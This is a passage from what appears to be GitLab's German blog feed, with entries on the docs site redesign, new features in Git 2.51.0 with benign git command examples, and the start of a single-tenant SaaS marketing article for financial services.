<p>Bereit, die Zukunft des Software Engineering zu erleben? <a href="https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">Aktiviere Beta- und experimentelle Funktionen für GitLab Duo</a> und beginne die Zusammenarbeit mit KI-Agenten, die den vollständigen Entwicklungskontext verstehen.</p>
<p>Neu bei GitLab? <a href="https://gitlab.com/-/trials/new">Starte noch heute die kostenlose Testversion</a> und entdecke, warum die Zukunft des Software Engineering in der Zusammenarbeit zwischen Mensch und KI liegt, orchestriert durch die weltweit umfassendste DevSecOps-Plattform.</p>
<p>&lt;p&gt;&lt;small&gt;&lt;em&gt;Dieser Blogbeitrag enthält &quot;zukunftsgerichtete Aussagen&quot; im Sinne von Section 27A des Securities Act von 1933 in der geänderten Fassung und Section 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den zukünftigen Ergebnissen oder Resultaten abweichen, die in den zukunftsgerichteten Aussagen ausgedrückt oder impliziert werden.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Weitere Informationen zu Risiken, Unsicherheiten und anderen Faktoren, die dazu führen könnten, dass die tatsächlichen Ergebnisse und Resultate wesentlich von denen abweichen, die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag enthalten oder berücksichtigt werden, finden Sie unter der Überschrift &quot;Risikofaktoren&quot; und an anderen Stellen in den Einreichungen und Berichten, die wir bei der Securities and Exchange Commission einreichen. Wir übernehmen keine Verpflichtung, zukunftsgerichtete Aussagen zu aktualisieren oder zu revidieren oder über Ereignisse oder Umstände nach dem Datum dieses Blogbeitrags zu berichten oder das Eintreten unvorhergesehener Ereignisse widerzuspiegeln, außer wenn dies gesetzlich vorgeschrieben ist.&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Wir haben die GitLab-Dokumentationsseite komplett redesigned]]></title>
        <id>https://about.gitlab.com/de-de/blog/docs-site-design-overhaul/</id>
        <link href="https://about.gitlab.com/de-de/blog/docs-site-design-overhaul/"/>
        <updated>2025-08-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Die GitLab-Dokumentationsseite hat jetzt ein völlig neues Look-and-Feel.
Was als Anfrage für gezielte Design-Fixes begann, wurde zu einem umfassenden Redesign mit vier wichtigen Verbesserungen:</p>
<p><strong>Auch und gerade für deutsche Entwicklungsteams:</strong> Diese Verbesserungen machen es einfacher, die englische Dokumentation zu nutzen. Dark Mode und die klarere Navigation helfen dabei, auch bei längeren Sessions die benötigten Informationen zu finden – ohne dass Sprachbarrieren durch schlechte UX verstärkt werden.</p>
<h2>Die vier wichtigsten neuen Features</h2>
<p><strong>Der Dark Mode</strong>: Das meistgewünschte Feature ist endlich da. Du kannst zwischen hellen und dunklen Themes in der oberen rechten Ecke wechseln
für bessere Lesbarkeit und weniger Augenbelastung.</p>
<p><strong>Die Redesigned Navigation</strong>: Wir haben die primäre Navigation nach oben verschoben und die linke Sidebar umstrukturiert, damit unsere 2 300+ Seiten
weniger überwältigend und besser auffindbar sind.</p>
<p><strong>Das Simplified Feedback</strong>: Du kannst jetzt Thumbs-up/down-Feedback geben und Kommentare direkt auf jeder Dokumentationsseite hinzufügen.</p>
<p><strong>Die Technical Debt Fixes</strong>: Dutzende kleiner, aber wirkungsvoller Fixes für Typography, Spacing, Code Blocks und visuelle Inkonsistenzen,
die wir über die Jahre gesammelt haben.</p>
<p>Die Brand Alignment mit GitLab's Marketing-Site sorgt außerdem für eine einheitlichere Experience über alle GitLab Properties hinweg.</p>
<h2>Warum jetzt? Das Fundament für Veränderung</h2>
<p>Anfang des Jahres hat unser Documentation Engineering Team unter Leitung von Sarah German ein kritisches Replatforming-Projekt durchgeführt
und von Nanoc zu Hugo migriert. Während diese Änderung für Teams größtenteils unsichtbar war, brachte sie dramatische Performance-Verbesserungen – 130x schnellere lokale Builds
und 30x schnellere vollständige Builds – und bot die solide technische Grundlage für diese Verbesserungen.</p>
<p>Mit diesem Replatforming haben wir die Grundlage geschaffen, die es uns ermöglicht hat, uns auf User Experience-Verbesserungen zu konzentrieren, anstatt mit veralteter Infrastructure zu kämpfen.</p>
<p>Schauen wir uns die Änderungen genauer an.</p>
<h3>Dark Mode</h3>
<p>Möglicherweise die größte News für dieses Release: Dark Mode ist jetzt über die gesamte Dokumentationsseite verfügbar.
Du änderst die Einstellung in der oberen rechten Ecke, und die Site merkt sich deine Präferenz.
Für viele Teams macht Dark Mode Content einfacher zu lesen und reduziert Eyestrain.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617168/gz45eaygeb0nizf1kwyu.png" alt="image of dark mode"></p>
<h3>Redesigned Navigation</h3>
<p>Wir standen vor der großen Herausforderung, über 2 300 Seiten so zu organisieren, dass Teams nicht überwältigt werden.
Unsere vorherige einzelne linke Navigation war zwar umfassend, aber schuf eine einschüchternde Experience:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617332/k75fwr3rhjxfjyxmc49d.png" alt="image of former navigation"></p>
<p>Der neue Ansatz verschiebt die primäre Navigation nach oben und schafft kürzere, überschaubarere Table-of-Contents-Sections, die sich weniger überwältigend navigieren lassen:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617366/wziabrijury9jl5j7ica.png" alt="image of new navigation"></p>
<p>So zeigen wir die Relationships zwischen Features besser, während einzelne Sections verdaulicher werden.</p>
<h3>Simplified Feedback Mechanism</h3>
<p>Wir haben den Feedback-Prozess vereinfacht. Anstatt zu verlangen, dass Teams die Docs-Site verlassen und GitLab Issues erstellen,
können sie jetzt sofortiges Feedback mit Thumbs-up/down-Ratings und Comments direkt auf jeder Page geben.
Scroll einfach auf jeder Dokumentationspage nach unten, um diese neue Functionality in Action zu sehen.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png" alt="image of feedback area"></p>
<h3>Style Updates und Technical Debt</h3>
<p>Über die Jahre hatten sich kleine Style-Inkonsistenzen angesammelt – inkonsistente Padding in Lists, zusätzliche Spacing um Alerts und verschiedene Typography-Issues.
Die sehen zwar klein aus, aber zusammen schufen sie eine subtil störende Experience für Daily Users.</p>
<p>Unsere Tabs und Code Blocks haben besondere Aufmerksamkeit bekommen und sind jetzt besser definiert.</p>
<p>Vorher sahen Tabs mit Code so aus:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png" alt="image of old tabs with code block"></p>
<p>Und jetzt, mit ein paar kleinen Tweaks, sehen sie so aus:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png" alt="image of new tabs with code block"></p>
<p>Diese Papercut-Fixes sind einzeln klein, aber zusammen schaffen sie eine viel poliertere, professionellere Experience.</p>
<h2>Was kommt als nächstes?</h2>
<p>Dieses Redesign zeigt, wie wir bei GitLab iterieren – wir shippen meaningful Improvements und bauen gleichzeitig für eine noch bessere Zukunft.
Wir erwarten, die Struktur weiter zu verfeinern und Features hinzuzufügen, die Teams helfen, leichter zu finden, was sie brauchen.</p>
<p>User Feedback wird unsere nächsten Iterationen antreiben, und mit unserem neuen simplified Feedback Mechanism
sind wir besser positioniert denn je, direkt von unseren Documentation-Teams zu hören.</p>
<h2>Das Team</h2>
<p>Das ganze Team hat an dieser Transformation gearbeitet. Kudos an UX Papercuts und Julia Miocene dafür,
aus einer einfachen Anfrage eine umfassende Design Vision zu machen. Thanks an die Engineers im Technical Writing:
Sarah German, Pearl Latteier und Hiru Fernando, die diese Designs zum Leben erweckt haben.</p>
<p>Das neue Design balanciert Information Density mit Visual Clarity, modernisiert unsere Site unter Beibehaltung
von Usability- und Accessibility-Standards und ist ein großer Schritt nach vorn in User Experience und Visual Design.</p>
]]></content>
        <author>
            <name>Suzanne Selhorn</name>
            <uri>https://about.gitlab.com/blog/authors/suzanne-selhorn</uri>
        </author>
        <author>
            <name>Sarah German</name>
            <uri>https://about.gitlab.com/blog/authors/sarah-german</uri>
        </author>
        <author>
            <name>Julia Miocene</name>
            <uri>https://about.gitlab.com/blog/authors/julia-miocene</uri>
        </author>
        <published>2025-08-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Was ist neu in Git 2.51.0?]]></title>
        <id>https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-51-0/</id>
        <link href="https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-51-0/"/>
        <updated>2025-08-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Das Git-Projekt hat kürzlich <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">Git 2.51</a> veröffentlicht. Aufgrund des Sommers auf der Nordhalbkugel und langsamerer Fortschritte war dieser Release-Zyklus mit 8 Wochen eher kurz (normalerweise dauert ein Release-Zyklus etwa 12 Wochen).</p>
<p><strong>Die wichtigste Neuerung: Git-Operationen werden bis zu 22-mal schneller</strong> - besonders bei großen Repositories mit vielen Branches profitieren Entwicklungsteams von erheblichen Performance-Verbesserungen.</p>
<p>Schauen wir uns diese und andere bemerkenswerte Änderungen in diesem Release an, einschließlich Beiträgen vom Git-Team bei GitLab und der breiteren Git-Community.</p>
<h2>Massive Performance-Verbesserungen: Von Sekunden zu Millisekunden</h2>
<p>Große Repositories mit tausenden von Branches standen vor einem schmerzhaften Engpass. Git-Operationen, die Referenzen aktualisieren, konnten mehrere Sekunden dauern - ein echter Produktivitätskiller für Teams mit umfangreichen CI/CD-Pipelines oder Monorepo-Workflows.</p>
<p><strong>Git 2.51.0 ändert alles. Eine 10.000-Referenzen-Fetch-Operation, die 3,4 Sekunden dauerte, wird jetzt in 154 Millisekunden abgeschlossen:</strong></p>
<pre><code>VORHER: git-fetch mit 10.000 Referenzen
Time: 3.403 s ± 0.775 s

NACHHER: git-fetch mit 10.000 Referenzen  
Time: 154.3 ms ± 17.6 ms

ERGEBNIS: 22× schneller
</code></pre>
<p><strong>Ähnlich dramatische Verbesserungen bei git-push:</strong></p>
<pre><code>VORHER: git-push mit 10.000 Referenzen
Time: 4.276 s ± 0.078 s

NACHHER: git-push mit 10.000 Referenzen
Time: 235.4 ms ± 6.9 ms

ERGEBNIS: 18× schneller
</code></pre>
<h3>Wie wurde das erreicht?</h3>
<p>Das Problem lag in der Art, wie Git Referenz-Transaktionen behandelte. Die Kommandos git-push(1) und git-fetch(1) erstellten eine separate Transaktion für jedes Referenz-Update, was enormen Overhead verursachte - jede Transaktion benötigte eine Initialisierungs- und Abbauphase und löste Auto-Komprimierungen aus.</p>
<p>Git 2.51.0 verwendet nun <strong>gebündelte Updates</strong>: Mehrere Referenzen werden in einer einzigen Transaktion aktualisiert, während einzelne Updates weiterhin fehlschlagen dürfen. Dies eliminiert den Overhead und skaliert linear mit der Anzahl der Referenzen.</p>
<p>Das Beste daran? Benutzer profitieren automatisch von diesen Verbesserungen, ohne Änderungen an ihrem Workflow vornehmen zu müssen.</p>
<p>Dieses <a href="https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/">Projekt</a> wurde von <a href="https://gitlab.com/knayakgl">Karthik Nayak</a> geleitet.</p>
<h2>Änderungen in Richtung Git 3.0</h2>
<p>Vor 11 Jahren wurde Git 2.0 veröffentlicht, die letzte große Versionsfreigabe von Git. Obwohl wir keinen spezifischen Zeitplan für die nächste große Git-Veröffentlichung haben, enthält dieses Release Entscheidungen, die in Richtung Git 3.0 getroffen wurden.</p>
<p>Die Git 3.0-Release-Planung ermöglicht es uns, Breaking Changes zu planen und zu implementieren und diese der erweiterten Git-Community zu kommunizieren. Neben der Dokumentation kann Git auch mit diesen Breaking Changes kompiliert werden für diejenigen, die mit diesen Änderungen experimentieren möchten. Weitere Informationen finden Sie im <a href="https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc">BreakingChanges-Dokument</a>.</p>
<p>Das Git 2.51.0-Release bringt einige bedeutende Änderungen in Richtung Git 3.0.</p>
<h3>&quot;reftable&quot; wird Standard in Git 3.0</h3>
<p>Im <a href="https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads">Git 2.45.0</a>-Release wurde das &quot;reftable&quot;-Format als neues Backend zur Speicherung von Referenzen wie Branches oder Tags in Git eingeführt, das viele der Probleme des bestehenden &quot;files&quot;-Backends behebt. Lesen Sie unseren <a href="https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/">Einsteiger-Leitfaden zur Funktionsweise von reftables</a> für weitere Einblicke in das &quot;reftable&quot;-Backend.</p>
<p>Das Git 2.51.0-Release markiert den Wechsel zur Verwendung des &quot;reftable&quot;-Formats als Standard in Git 3.0 für neu erstellte Repositories und verdrahtet die Änderung hinter einem Feature-Flag. Das &quot;reftable&quot;-Format bietet folgende Verbesserungen gegenüber dem traditionellen &quot;files&quot;-Backend:</p>
<ul>
<li>
<p>Es ist unmöglich, zwei Referenzen zu speichern, die sich nur in der Groß-/Kleinschreibung unterscheiden, auf case-insensitiven Dateisystemen mit dem &quot;files&quot;-Format. Dieses Problem ist häufig auf Windows- und macOS-Plattformen. Da das &quot;reftable&quot;-Backend keine Dateisystem-Pfade zur Kodierung von Referenznamen verwendet, verschwindet dieses Problem.</p>
</li>
<li>
<p>Ebenso normalisiert macOS Pfadnamen, die Unicode-Zeichen enthalten, was zur Folge hat, dass Sie nicht zwei Namen mit Unicode-Zeichen speichern können, die unterschiedlich kodiert sind, mit dem &quot;files&quot;-Backend. Auch dies ist kein Problem mit dem &quot;reftable&quot;-Backend.</p>
</li>
<li>
<p>Das Löschen von Referenzen mit dem &quot;files&quot;-Backend erfordert, dass Git die komplette &quot;packed-refs&quot;-Datei neu schreibt. In großen Repositories mit vielen Referenzen kann diese Datei leicht dutzende Megabytes groß sein; in extremen Fällen kann sie Gigabytes umfassen. Das &quot;reftable&quot;-Backend verwendet Tombstone-Marker für gelöschte Referenzen und muss daher nicht alle seine Daten neu schreiben.</p>
</li>
<li>
<p>Repository-Hauskeeping mit dem &quot;files&quot;-Backend führt normalerweise All-into-One-Repacks von Referenzen durch. Dies kann sehr teuer sein, und folglich ist Housekeeping ein Kompromiss zwischen der Anzahl loser Referenzen, die sich ansammeln und Operationen verlangsamen, die Referenzen lesen, und der Komprimierung dieser losen Referenzen in die &quot;packed-refs&quot;-Datei. Das &quot;reftable&quot;-Backend verwendet geometrische Komprimierung nach jedem Schreibvorgang, was Kosten amortisiert und sicherstellt, dass das Backend immer in einem gut gewarteten Zustand ist.</p>
</li>
<li>
<p>Operationen, die mehrere Referenzen auf einmal schreiben, sind nicht atomisch mit dem &quot;files&quot;-Backend. Folglich kann Git Zwischenzustände sehen, wenn es Referenzen liest, während eine Referenz-Transaktion gerade auf die Festplatte committed wird.</p>
</li>
<li>
<p>Das Schreiben vieler Referenzen auf einmal ist langsam mit dem &quot;files&quot;-Backend, weil jede Referenz als separate Datei erstellt wird. Das &quot;reftable&quot;-Backend übertrifft das &quot;files&quot;-Backend um mehrere Größenordnungen.</p>
</li>
<li>
<p>Das &quot;reftable&quot;-Backend verwendet ein Binärformat mit Präfix-Komprimierung für Referenznamen. Als Resultat nutzt das Format weniger Platz im Vergleich zur &quot;packed-refs&quot;-Datei.</p>
</li>
</ul>
<p>Dieses Projekt wurde von <a href="https://gitlab.com/pks-gitlab">Patrick Steinhardt</a> geleitet.</p>
<h3>SHA-256 wird Standard in Git 3.0</h3>
<p>Das Git-Versionskontrollsystem speichert Objekte in einem inhaltsadressierbaren Dateisystem. Das bedeutet, es verwendet den Hash eines Objekts zur Adressierung von Inhalten wie Dateien, Verzeichnissen und Revisionen, anders als traditionelle Dateisysteme, die sequenzielle Nummern verwenden. Die Verwendung einer Hash-Funktion hat folgende Vorteile:</p>
<ul>
<li>Einfache Integritätsprüfungen, da ein einzelner Bit-Flip die Hash-Ausgabe komplett verändern würde.</li>
<li>Schnelle Objektsuche, da Objekte nach ihrem Hash indexiert werden können.</li>
<li>Objektnamen können signiert werden und Drittparteien können dem Hash vertrauen, um das signierte Objekt und alle Objekte, auf die es verweist, zu adressieren.</li>
<li>Kommunikation über Git-Protokoll und Out-of-Band-Kommunikationsmethoden haben einen kurzen zuverlässigen String, der zur zuverlässigen Adressierung gespeicherter Inhalte verwendet werden kann.</li>
</ul>
<p>Seit seiner Entstehung hat Git den SHA-1-Hashing-Algorithmus verwendet. Sicherheitsforscher haben jedoch einige Schwachstellen in SHA-1 entdeckt, speziell den <a href="https://shattered.io">SHAttered-Angriff</a>, der eine praktische SHA-1-Hash-Kollision zeigt. Wir sind seit Git 2.13.0 standardmäßig zu einer gehärteten SHA-1-Implementierung übergegangen. SHA-1 ist jedoch immer noch ein schwacher Hashing-Algorithmus und es ist nur eine Frage der Zeit, bis zusätzliche Angriffe seine Sicherheit weiter reduzieren werden.</p>
<p>SHA-256 wurde Ende 2018 als Nachfolger von SHA-1 identifiziert. Git 2.51.0 markiert es als Standard-Hash-Algorithmus für Git 3.0.</p>
<p>Dieses Projekt wurde von <a href="https://github.com/bk2204">brian m. carlson</a> geleitet.</p>
<h3>Entfernung von git-whatchanged(1)</h3>
<p>Der git-whatchanged(1)-Befehl zeigt Logs mit Unterschieden, die jeder Commit einführt. Obwohl dies nun von git log --raw abgelöst wurde, wurde der Befehl aus historischen Gründen beibehalten.</p>
<p>Git 2.51.0 erfordert, dass Benutzer des Befehls explizit das --i-still-use-this-Flag verwenden, um alle Benutzer zu erfassen, die noch den veralteten Befehl verwenden, und markiert den Befehl auch für die Entfernung in Git 3.0.</p>
<p>Dieses Projekt wurde von <a href="https://simple.wikipedia.org/wiki/Junio_Hamano">Junio C Hamano</a> geleitet.</p>
<h2>git switch und git restore sind nicht mehr experimentell</h2>
<p>Der git-checkout(1)-Befehl kann für mehrere verschiedene Anwendungsfälle verwendet werden. Er kann zum Wechseln von Referenzen verwendet werden:</p>
<pre><code>$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git checkout next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.
</code></pre>
<p>Oder zur Wiederherstellung von Dateien:</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie &quot;git add &lt;Datei&gt;...&quot;, um die Änderungen zum Commit vorzumerken)
  (benutzen Sie &quot;git restore &lt;Datei&gt;...&quot;, um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie &quot;git add&quot; und/oder &quot;git commit -a&quot;)

$ git checkout git.c
1 Pfad von Index aktualisiert

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert
</code></pre>
<p>Für neue Git-Benutzer kann dies zu viel Verwirrung führen. In Git 2.33.0 wurden diese in zwei neue Befehle aufgeteilt: git-switch(1) und git-restore(1).</p>
<p>Der git-switch(1)-Befehl ermöglicht es Benutzern, zu einem bestimmten Branch zu wechseln:</p>
<pre><code>$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git switch next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.
</code></pre>
<p>Und der git-restore(1)-Befehl ermöglicht es Benutzern, Working-Tree-Dateien wiederherzustellen:</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie &quot;git add &lt;Datei&gt;...&quot;, um die Änderungen zum Commit vorzumerken)
  (benutzen Sie &quot;git restore &lt;Datei&gt;...&quot;, um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie &quot;git add&quot; und/oder &quot;git commit -a&quot;)

$ git restore git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert
</code></pre>
<p>Obwohl die beiden Befehle seit 2019 existieren, wurden sie als experimentell markiert. Der Effekt ist, dass das Git-Projekt keine Rückwärtskompatibilität für diese Befehle garantiert: das Verhalten kann sich jederzeit ändern. Obwohl die Absicht ursprünglich war, diese Befehle nach einigen Releases zu stabilisieren, ist das bis zu diesem Punkt nicht geschehen.</p>
<p>Dies hat zu mehreren Diskussionen auf der Git-Mailing-Liste geführt, wo Benutzer unsicher sind, ob sie diese neuen Befehle verwenden können oder ob sie eventuell wieder verschwinden. Da jedoch keine bedeutenden Änderungen vorgeschlagen wurden und einige Benutzer diese Befehle bereits verwenden, haben wir beschlossen, sie in Git 2.51 nicht mehr als experimentell zu deklarieren.</p>
<p>Dieses Projekt wurde von <a href="https://gitlab.com/justintobler">Justin Tobler</a> geleitet.</p>
<h2>git for-each-ref(1) erhält Paginierungs-Unterstützung</h2>
<p>Der git for-each-ref-Befehl wird verwendet, um alle im Repository vorhandenen Referenzen aufzulisten. Als Teil der Plumbing-Schicht von Git wird dieser Befehl häufig beispielsweise von Hosting-Forges verwendet, um Referenzen, die im Repository existieren, in ihrer UI aufzulisten. Aber während Repositories wachsen, wird es weniger realistisch, alle Referenzen auf einmal aufzulisten – schließlich können die größten Repositories Millionen davon enthalten! Stattdessen neigen Forges dazu, die Referenzen zu paginieren.</p>
<p>Dies zeigt eine wichtige Lücke auf: git-for-each-ref weiß nicht, Referenzen von vorherigen Seiten zu überspringen, die bereits gezeigt wurden. Folglich muss es möglicherweise eine große Anzahl uninteressanter Referenzen auflisten, bevor es endlich beginnt, die für die aktuelle Seite benötigten Referenzen zu liefern. Dies ist ineffizient und führt zu höherer als notwendiger Latenz oder sogar Timeouts.</p>
<p>Git 2.51.0 unterstützt ein neues --start-after-Flag für git for-each-ref, das die Paginierung der Ausgabe ermöglicht. Dies kann auch mit dem --count-Flag kombiniert werden, um über einen Batch von Referenzen zu iterieren.</p>
<pre><code>$ git for-each-ref --count=10
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010

$ git for-each-ref --count=10 --start-after=refs/heads/branch-010
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020
</code></pre>
<p>Dieses Projekt wurde von <a href="https://gitlab.com/knayakgl">Karthik Nayak</a> geleitet.</p>
<h2>Fazit</h2>
<p><strong>Diese Performance-Verbesserungen sind besonders relevant für deutsche Entwicklungsteams, die mit großen Repositories und intensiven CI/CD-Workflows arbeiten.</strong> Die 22-fache Beschleunigung bei git-fetch kann erhebliche Zeitersparnisse in der täglichen Entwicklungsarbeit bedeuten.</p>
<p>Bereit, diese Verbeszerungen zu erleben? Aktualisieren Sie auf Git 2.51.0 und beginnen Sie, git switch und git restore in Ihrem täglichen Workflow zu verwenden.</p>
<p>Für GitLab-Benutzer werden diese Performance-Verbesserungen automatisch Ihre Entwicklungserfahrung verbessern, sobald Ihre Git-Version aktualisiert wird.</p>
<p>Erfahren Sie mehr in den <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">offiziellen Git 2.51.0 Release Notes</a> und erkunden Sie unser <a href="https://about.gitlab.com/blog/tags/git/">komplettes Archiv der Git-Entwicklungsberichterstattung</a>.</p>
<hr>
<p><em>Für vollständige technische Details, Benchmarks und Implementierungshinweise lesen Sie den <a href="https://about.gitlab.com/blog/what-s-new-in-git-2-51-0/">englischen Originalartikel</a>.</em></p>
]]></content>
        <author>
            <name>Karthik Nayak</name>
            <uri>https://about.gitlab.com/blog/authors/karthik-nayak</uri>
        </author>
        <published>2025-08-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Warum Finanzdienstleister auf Single-Tenant-SaaS setzen]]></title>
        <id>https://about.gitlab.com/de-de/blog/why-financial-services-choose-single-tenant-saas/</id>
        <link href="https://about.gitlab.com/de-de/blog/why-financial-services-choose-single-tenant-saas/"/>
        <updated>2025-08-14T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Betrete die Filiale einer beliebigen Finanzinstitution und eins wird sofort deutlich. Vorbei an bewaffneten Sicherheitskräften, durch biometrische Scanner, hinter dicken Wänden und mehreren Sicherheitskontrollen findest du Entwickler(innen), welche die Algorithmen erstellen, die das globale Finanzwesen antreiben – auf gemeinsamer Infrastruktur mit Millionen Unbekannten.</p>
<p>Die Software, welche die heutige Finanzwelt antreibt, ist hoch komplex. Sie umfasst Kreditrisikomodelle, die Milliarden an Vermögenswerten schützen, Zahlungsverarbeitungsalgorithmen, die Millionen von Transaktionen abwickeln, Customer-Intelligence-Plattformen, die die Geschäftsstrategie vorantreiben, und Regulierungssysteme, die operative Compliance sicherstellen – alles angetrieben von Quellcode, der sowohl operativer Kern als auch strategisches Asset ist.</p>
<h2>Wenn geteilte Infrastruktur zum systemischen Risiko wird</h2>
<p>Der Aufstieg von Software-as-a-Service-Plattformen hat für Finanzinstitute eine unbequeme Realität geschaffen. Jeder geteilte Mandant wird zu einem nicht verwalteten Drittparteirisiko und verwandelt plattformweite Vorfälle in branchenweite Störungen. Dies ist genau die Art von Konzentrationsrisiko, welches zunehmend die Aufmerksamkeit der Regulierungsbehörden auf sich zieht.</p>
<p>Patrick Opet, Chief Information Security Officer von JPMorgan Chase, richtete kürzlich in einem <a href="https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers">offenen Brief</a> an Drittanbieter eine deutliche Warnung an die Branche. Er hob hervor, wie die SaaS-Adoption „eine erhebliche Verwundbarkeit schafft, die das globale Wirtschaftssystem schwächt&quot;, indem sie „Konzentrationsrisiko in die globale kritische Infrastruktur einbettet&quot;. Der Brief betont, dass sich „ein Angriff auf einen großen SaaS- oder PaaS-Anbieter sofort auf dessen Kunden auswirken kann&quot; und genau das systemische Risiko schafft, das Multi-Tenant-Cloud-Plattformen für Quellcode-Management, CI-Builds, CD-Deployments und Sicherheitsscans einführen.</p>
<p>Bedenke die regulatorische Komplexität, die dies schafft. In gemeinsamen Umgebungen wird deine Compliance-Position zur Geisel potenzieller Vorfälle, die andere Mandanten betreffen, sowie der Konzentrationsrisiken von Anbietern mit großer Angriffsfläche. Eine Fehlkonfiguration, die eine Organisation auf der Plattform betrifft, kann breitere Auswirkungen auf das gesamte Ökosystem auslösen.</p>
<p>Datensouveränitäts-Herausforderungen verstärken dieses Risiko. Gemeinsame Plattformen verteilen Workloads über mehrere Regionen und Rechtsräume, oft ohne granulare Kontrolle darüber, wo dein Quellcode ausgeführt wird. Für Institutionen, die unter strengen regulatorischen Anforderungen arbeiten, kann diese geografische Verteilung Compliance-Lücken schaffen, die schwer zu beheben sind.</p>
<p>Dann gibt es den Verstärkungseffekt. Jeder geteilte Mandant wird effektiv zu einem indirekten Drittparteirisiko für deine Operationen. Ihre Schwachstellen vergrößern deine Angriffsfläche. Ihre Vorfälle können deine Verfügbarkeit beeinträchtigen. Ihre Kompromittierungen können deine Umgebung beeinflussen.</p>
<h2>Speziell entwickelt für das, was am wichtigsten ist</h2>
<p>GitLab erkennt an, dass der Quellcode deiner Organisation dieselbe Sicherheitsstufe verdient wie deine sensibelsten Kundendaten. Anstatt dich zu zwingen, zwischen Cloud-Skalierungseffizienz und Enterprise-Grade-Sicherheit zu wählen, liefert GitLab beides durch <a href="https://about.gitlab.com/dedicated/">GitLab Dedicated</a> – speziell entwickelte Infrastruktur, die vollständige Isolation aufrechterhält.</p>
